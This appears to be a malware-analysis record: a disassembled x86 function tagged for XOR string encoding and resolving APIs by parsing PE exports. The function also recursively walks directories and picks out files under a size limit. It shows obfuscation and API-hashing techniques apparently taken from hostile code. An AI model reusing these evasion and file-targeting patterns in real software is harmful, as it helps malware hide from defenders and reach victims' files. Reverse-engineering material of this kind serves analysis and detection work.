Function at 0x415f2f
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2e4
movzx eax, byte [0x42b9a0]
push ebx
push ebp
push esi
push edi
push dword [esp + 0x2f8]
mov edi, ecx
mov dword [esp + 0x60], edx
mov ecx, 0xf558
mov dword [esp + 0x40], edi
xor ax, cx
mov word [0x42b98c], ax
movzx eax, byte [0x42b9a0]
imul eax, eax, 0xb2
mov byte [0x42b9a0], al
call fcn.0040702c
mov bx, word [0x42b98c]
mov ebp, eax
pop ecx
movzx ecx, bl
mov al, bl
imul edx, ecx, 0xd3
xor al, 4
mov dword [esp + 0x34], ebp
mov dword [esp + 0x60], 0x40
mov dword [esp + 0x64], 0xff
mov dword [esp + 0x6c], 0x23
mov dword [esp + 0x28], edx
mov byte [0x42b99e], dl
test ebp, ebp
je 0x4165ab
mov dl, byte [0x42b9a6]
mov esi, 0x4efa
push 0x2c
pop eax
mov word [esp + 0x38], ax
xor eax, eax
mov word [esp + 0x3a], ax
mov al, dl
and al, 0x8d
movzx ecx, bx
mov byte [0x42b9b7], al
xor dl, 0x8b
movzx eax, al
and ax, si
mov byte [0x42b99e], dl
mov word [0x42b98c], ax
mov esi, 0x53ff
mov eax, dword [esp + 0x28]
movzx eax, al
sub ax, si
and dword [esp + 0x28], 0
mov word [0x42b99c], ax
movzx eax, dl
imul eax, eax, 7
mov byte [0x42b9a0], al
lea eax, [ecx - 0x1fbedf15]
or eax, 0x3802a001
mov dword [0x42b9a8], eax
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
call fcn.004057dc
movzx ecx, byte [0x42b9a6]
mov edx, eax
mov eax, 0x65f6
add esp, 0xc
and cx, ax
mov word [0x42b99c], cx
movzx ecx, byte [0x42b99e]
sub ecx, 0x520be47b
mov dword [0x42b9a8], ecx
test edx, edx
je 0x41657d
mov dword [esp + 0x4c], 0x7659460f
mov word [esp + 0x50], 0x460f
mov byte [esp + 0x52], 0x59
xor ecx, ecx
mov al, byte [esp + ecx + 0x4c]
xor al, 0x2a
movzx eax, al
mov word [esp + ecx*2 + 0x90], ax
inc ecx
cmp ecx, 7
jl 0x416087
xor eax, eax
mov ecx, 0x618d
mov word [esp + 0x9e], ax
mov al, byte [0x42b9a0]
add al, 0x3e
mov byte [0x42b9a6], al
movzx eax, al
xor ax, cx
push edx
mov word [0x42b98c], ax
lea eax, [esp + 0x94]
push edi
push eax
call fcn.00422def
mov bx, word [0x42b98c]
mov ebp, eax
mov cl, bl
mov dword [esp + 0x38], ebp
and cl, 0xb6
add esp, 0xc
mov byte [0x42b9b7], cl
test ebp, ebp
je 0x41654f
mov al, byte [0x42b99c]
movzx ecx, byte [0x42b9a6]
xor al, 0xf1
mov byte [0x42b9b7], al
movzx eax, byte [0x42b99e]
imul edx, ecx, 0xe1
imul ecx, eax, 0x6e
mov eax, 0x3617
xor ax, bx
mov word [0x42b99c], ax
and dl, 0x52
movzx eax, cl
imul eax, eax, 0xc9
mov byte [0x42b9a0], cl
xor ecx, ecx
mov byte [0x42b9a6], dl
inc ecx
mov byte [0x42b99e], al
movzx eax, dl
mov edx, 0x54e1cc7b
add eax, 0x27c21afb
mov dword [0x42b9a8], eax
lea eax, [esp + 0xa0]
push eax
push ebp
call fcn.00415084
call eax
movzx edx, byte [0x42b99e]
mov ecx, 0x85a4
imul edx, ecx
mov esi, eax
movzx ecx, byte [0x42b9a0]
mov eax, 0x1e0b
sub cx, ax
mov dword [esp + 0x68], esi
mov word [0x42b98c], cx
xor ecx, ecx
inc ecx
mov word [0x42b99c], dx
mov edx, 0x17299c7b
call fcn.00415084
mov cl, byte [0x42b9b7]
or cl, 0xfc
mov dword [esp + 0x40], eax
mov byte [0x42b9a6], cl
mov eax, 0x1d9a
movzx ecx, byte [0x42b9a0]
sub cx, ax
mov word [0x42b98c], cx
cmp esi, 0xffffffff
je 0x41653c
mov cl, byte [0x42b99e]
mov ebp, dword [esp + 0x40]
sub cl, 0x11
mov byte [0x42b9b7], cl
add cl, 0x1c
mov word [esp + 0x14], 0x6d6d
push 0x2e
pop eax
mov word [esp + 0x58], ax
xor eax, eax
mov word [esp + 0x5a], ax
xor edx, edx
mov al, byte [esp + edx + 0x14]
xor al, 0x43
movzx eax, al
mov word [esp + edx*2 + 0x44], ax
inc edx
cmp edx, 2
jl 0x416209
xor eax, eax
mov word [esp + 0x48], ax
movzx eax, cl
xor cl, 0x3d
mov byte [0x42b99e], cl
xor eax, 0xd2af584a
mov cl, byte [0x42b99c]
mov dword [0x42b9a8], eax
lea eax, [ecx - 0x62]
sub cl, 0x7a
mov byte [0x42b9a6], al
lea eax, [esp + 0x58]
push eax
lea eax, [esp + 0xd0]
mov byte [0x42b9a0], cl
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4164fd
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xd0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4164fd
mov dl, byte [0x42b98c]
mov bl, byte [0x42b9a6]
and dl, 0x72
and bl, 0xb
mov byte [0x42b9a0], dl
test byte [esp + 0xa0], 0xa7
mov byte [0x42b9b7], bl
je 0x4164e3
mov ecx, dword [0x42b9a8]
lea eax, [ecx - 0xc]
mov byte [0x42b9a6], al
movzx eax, bl
imul eax, eax, 0x14
imul ebx, ecx, 0x9f9aefca
cmp dword [esp + 0xbc], 0
mov dword [esp + 0x40], eax
mov byte [0x42b9b7], al
mov dword [0x42b9a8], ebx
jne 0x4164e3
cmp dword [esp + 0xc0], 0xa00000
jae 0x4164e3
mov dword [esp + 0x18], 0x9cb3ac65
xor ecx, ecx
mov word [esp + 0x1c], 0xac65
mov byte [esp + 0x1e], 0xb3
movzx eax, byte [esp + ecx + 0x18]
sub ax, word [esp + 0x60]
and ax, word [esp + 0x64]
mov word [esp + ecx*2 + 0x70], ax
inc ecx
cmp ecx, 7
jl 0x416313
xor eax, eax
or dl, 0x96
mov word [esp + 0x7e], ax
add bl, 0xd
mov eax, dword [esp + 0x40]
movzx eax, al
imul eax, eax, 0xe7
mov byte [0x42b9b7], bl
mov byte [0x42b9a6], dl
mov byte [0x42b99e], al
lea eax, [esp + 0xcc]
push eax
lea eax, [esp + 0x74]
push edi
push eax
call fcn.00422def
mov cl, byte [0x42b98c]
mov edi, eax
mov dl, byte [0x42b9a0]
xor cl, 1
mov byte [0x42b99e], cl
xor dl, 0xd0
movzx ecx, cl
add esp, 0xc
and ecx, 0x7cc2f172
mov byte [0x42b9a0], dl
mov dword [0x42b9a8], ecx
test edi, edi
je 0x4164df
push 0x23
pop eax
mov word [esp + 0x20], 0x3c75
xor ecx, ecx
mov byte [esp + 0x22], al
mov word [esp + 0x23], 0x757f
mov byte [esp + 0x25], 0x3c
mov byte [esp + 0x26], al
mov al, byte [esp + ecx + 0x20]
xor al, 0x50
movzx eax, al
mov word [esp + ecx*2 + 0x80], ax
inc ecx
cmp ecx, 7
jl 0x4163c5
xor eax, eax
mov ecx, 0xb39c
mov word [esp + 0x8e], ax
mov al, byte [0x42b99c]
xor al, 0xb4
mov byte [0x42b9a6], al
movzx eax, byte [0x42b9b7]
or ax, cx
mov word [0x42b98c], ax
movzx eax, dl
xor eax, 0x5813df48
mov dword [0x42b9a8], eax
lea eax, [esp + 0xcc]
push eax
push dword [esp + 0x60]
lea eax, [esp + 0x88]
push eax
call fcn.00422def
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4164b5
movzx ecx, byte [0x42b9b7]
mov eax, 0x502a
mov dl, byte [0x42b9a0]
or cx, ax
add byte [0x42b9a6], 7
movzx eax, dl
or dl, 0x6f
add eax, 0x43266805
mov word [0x42b98c], cx
mov dword [0x42b9a8], eax
movzx eax, cl
mov ecx, 0x6e58
imul eax, eax, 0x44
mov byte [0x42b99e], dl
mov edx, esi
mov byte [0x42b9b7], al
movzx eax, al
add ax, cx
mov ecx, edi
mov word [0x42b99c], ax
call fcn.0041dcc2
mov cl, byte [0x42b9a8]
movzx eax, cl
add cl, 0x3c
imul eax, eax, 0x74
push esi
mov byte [0x42b99e], cl
mov byte [0x42b9a6], al
call fcn.004056f0
pop ecx
mov al, byte [0x42b9a6]
and al, 0xa6
mov byte [0x42b9a6], al
and al, 0x7a
mov byte [0x42b9a0], al
mov al, byte [0x42b9a8]
add al, 0x3b
push edi
mov byte [0x42b99e], al
call fcn.004056f0
mov esi, dword [esp + 0x6c]
pop ecx
mov edi, dword [esp + 0x3c]
lea eax, [esp + 0xa0]
push eax
push esi
call ebp
test eax, eax
je 0x416517
mov cl, byte [0x42b9a6]
jmp 0x4161f8
movzx eax, byte [0x42b99e]
xor eax, 0xe0254315
add byte [0x42b9b7], 0x6f
mov dword [0x42b9a8], eax
jmp 0x4164e3
movzx eax, byte [0x42b9a0]
xor ecx, ecx
sub eax, 0x5d3f6b61
mov edx, 0x83fbc401
push esi
inc ecx
mov dword [0x42b9a8], eax
call fcn.00415084
call eax
mov ebp, dword [esp + 0x2c]
mov al, byte [0x42b99c]
sub al, 0x61
push ebp
mov byte [0x42b9a0], al
call fcn.004056f0
pop ecx
mov al, byte [0x42b9a0]
and al, 0xc8
mov byte [0x42b99e], al
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push 0
call fcn.004057dc
mov edx, eax
add esp, 0xc
test edx, edx
jne 0x416085
mov ebp, dword [esp + 0x34]
movzx eax, byte [0x42b9b7]
mov ecx, 0x3d29
sub ax, cx
push ebp
mov word [0x42b98c], ax
call fcn.004056f0
mov bx, word [0x42b98c]
mov al, byte [0x42b9b7]
mov dl, byte [0x42b99e]
pop ecx
movzx eax, al
xor bl, 0x22
imul eax, eax, 0x5b
cmp byte [esp + 0x2fc], 0
mov byte [0x42b9a0], bl
mov dword [esp + 0x34], eax
mov byte [0x42b9b7], al
je 0x416a44
mov dword [esp + 0x2c], 0x7e514e07
xor ecx, ecx
mov byte [esp + 0x30], 8
mov al, byte [esp + ecx + 0x2c]
xor al, 0x22
movzx eax, al
mov word [esp + ecx*2 + 0x4c], ax
inc ecx
cmp ecx, 5
jl 0x4165e0
xor eax, eax
mov ecx, 0x5923
mov word [esp + 0x56], ax
add dl, 0xd2
mov eax, dword [esp + 0x34]
movzx eax, al
add ax, cx
mov byte [0x42b99e], dl
mov word [0x42b99c], ax
mov eax, 0x54fc
movzx ecx, bl
imul ecx, eax
push edi
movzx eax, cx
imul eax, eax, 0x19262e5c
mov word [0x42b98c], cx
mov dword [0x42b9a8], eax
lea eax, [esp + 0x50]
push eax
call fcn.00422def
pop ecx
mov edx, eax
mov eax, 0xb6d4
pop ecx
movzx ecx, byte [0x42b9a6]
or cx, ax
mov dword [esp + 0x2c], edx
mov word [0x42b99c], cx
test edx, edx
je 0x416a44
mov al, byte [0x42b99e]
mov esi, 0x76d6
and al, 0xb6
xor ecx, ecx
mov byte [0x42b9a0], al
inc ecx
movzx eax, al
and ax, si
mov word [0x42b98c], ax
movzx eax, byte [0x42b99e]
imul eax, eax, 0xa0
mov byte [0x42b9b7], al
lea eax, [esp + 0xa0]
push eax
push edx
mov edx, 0x54e1cc7b
call fcn.00415084
call eax
mov cl, byte [0x42b99e]
mov edx, 0x17299c7b
or cl, 0xb3
mov ebp, eax
mov byte [0x42b9a0], cl
mov ecx, dword [0x42b9a8]
or ecx, 0xb741
mov word [0x42b99c], cx
xor ecx, ecx
inc ecx
call fcn.00415084
mov dl, byte [0x42b9a0]
mov bx, word [0x42b99c]
and dl, 0x22
mov dword [esp + 0x34], eax
mov cx, bx
mov eax, 0x25f1
mov byte [0x42b9a6], dl
xor cx, ax
sub dl, 0x69
movzx esi, cx
mov word [0x42b98c], cx
mov byte [0x42b9a0], dl
cmp ebp, 0xffffffff
je 0x416a25
mov eax, 0xc897
mov word [esp + 0x14], 0x5151
xor bx, ax
lea edx, [esi - 0x66b8a2df]
mov word [0x42b99c], bx
mov dword [0x42b9a8], edx
push 0x2e
pop eax
mov word [esp + 0x28], ax
mov esi, 0xff
xor eax, eax
xor ecx, ecx
mov word [esp + 0x2a], ax
movzx eax, byte [esp + ecx + 0x14]
sub ax, word [esp + 0x6c]
and ax, si
mov word [esp + ecx*2 + 0x44], ax
inc ecx
cmp ecx, 2
jl 0x41675b
xor eax, eax
sub bl, 0x1f
mov word [esp + 0x48], ax
mov ecx, 0x6703
movzx eax, bl
or ax, cx
mov byte [0x42b9a0], bl
mov word [0x42b98c], ax
movzx eax, dl
imul eax, eax, 0xfa
mov byte [0x42b9b7], al
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0xd0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4169b8
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0xd0]
push eax
call fcn.00405af6
pop ecx
pop ecx
test eax, eax
je 0x4169b8
or byte [0x42b99e], 4
test byte [esp + 0xa0], 0x10
je 0x4169cb
push 0x40
pop eax
mov word [esp + 0x20], 0x5009
xor ecx, ecx
mov byte [esp + 0x22], 0x57
mov byte [esp + 0x23], al
mov word [esp + 0x24], 0x5009
mov byte [esp + 0x26], 0x57
movzx eax, byte [esp + ecx + 0x20]
add ax, 0x1c
and ax, si
mov word [esp + ecx*2 + 0x80], ax
inc ecx
cmp ecx, 7
jl 0x416810
xor eax, eax
mov word [esp + 0x8e], ax
mov al, byte [0x42b9a8]
or al, 0xe
mov byte [0x42b9a0], al
movzx eax, al
sub eax, 0x4cb32a82
mov dword [0x42b9a8], eax
lea eax, [esp + 0xcc]
push eax
lea eax, [esp + 0x84]
push edi
push eax
call fcn.00422def
mov dl, byte [0x42b9a8]
mov esi, eax
mov cl, dl
add esp, 0xc
or cl, 0x33
mov byte [0x42b9b7], cl
test esi, esi
je 0x4169cb
mov dword [esp + 0x18], 0xd78b94dd
xor ecx, ecx
mov word [esp + 0x1c], 0x94dd
mov byte [esp + 0x1e], 0x8b
mov al, byte [esp + ecx + 0x18]
xor al, 0xf8
movzx eax, al
mov word [esp + ecx*2 + 0x70], ax
inc ecx
cmp ecx, 7
jl 0x416897
xor eax, eax
mov edi, 0x1d1f
mov word [esp + 0x7e], ax
add dl, 0x46
movzx eax, byte [0x42b9a0]
add ax, di
mov byte [0x42b99e], dl
mov word [0x42b99c], ax
mov eax, 0x2188
add word [0x42b98c], ax
movzx eax, byte [0x42b9a0]
or eax, 0xe2b8c723
mov dword [0x42b9a8], eax
lea eax, [esp + 0xcc]
push eax
push dword [esp + 0x60]
lea eax, [esp + 0x78]
push eax
call fcn.00422def
mov bl, byte [0x42b9b7]
mov edi, eax
movzx ecx, bl
mov dl, bl
imul ecx, ecx, 0xe0b8baf2
or dl, 0xae
add esp, 0xc
mov byte [0x42b99e], dl
mov dword [0x42b9a8], ecx
test edi, edi
je 0x41698e
push dword [esp + 0x2fc]
mov al, dl
or ecx, 0xbb91
push dword [esp + 0x2fc]
and al, 0x62
mov word [0x42b99c], cx
mov byte [0x42b9b7], al
mov ecx, 0xc30c
movzx eax, dl
mov edx, edi
and ax, cx
mov ecx, esi
mov word [0x42b98c], ax
call fcn.00415f2f
movzx eax, byte [0x42b9a6]
mov ecx, 0x7281
sub ax, cx
push edi
mov word [0x42b98c], ax
call fcn.004056f0
mov bl, byte [0x42b9b7]
add esp, 0xc
mov al, byte [0x42b9a6]
mov ecx, 0x334e
or al, 0x7b
mov byte [0x42b9a0], al
movzx eax, bl
add ax, cx
push esi
mov word [0x42b98c], ax
call fcn.004056f0
mov edi, dword [esp + 0x40]
pop ecx
jmp 0x4169cb
mov al, byte [0x42b99c]
add al, 0x2f
and byte [0x42b99e], 0xa0
mov byte [0x42b9b7], al
lea eax, [esp + 0xa0]
push eax
push ebp
call dword [esp + 0x3c]
test eax, eax
je 0x4169ee
mov edx, dword [0x42b9a8]
mov bx, word [0x42b99c]
jmp 0x416745
movzx eax, byte [0x42b9b7]
mov esi, 0x19fc
imul eax, eax, 0xbc
xor ecx, ecx
push ebp
mov edx, 0x83fbc401
inc ecx
mov byte [0x42b9a0], al
movzx eax, byte [0x42b9a6]
sub ax, si
mov word [0x42b99c], ax
call fcn.00415084
call eax
movzx eax, byte [0x42b99e]
mov ecx, 0xf290
push dword [esp + 0x2c]
xor ax, cx
mov word [0x42b99c], ax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2e4
ret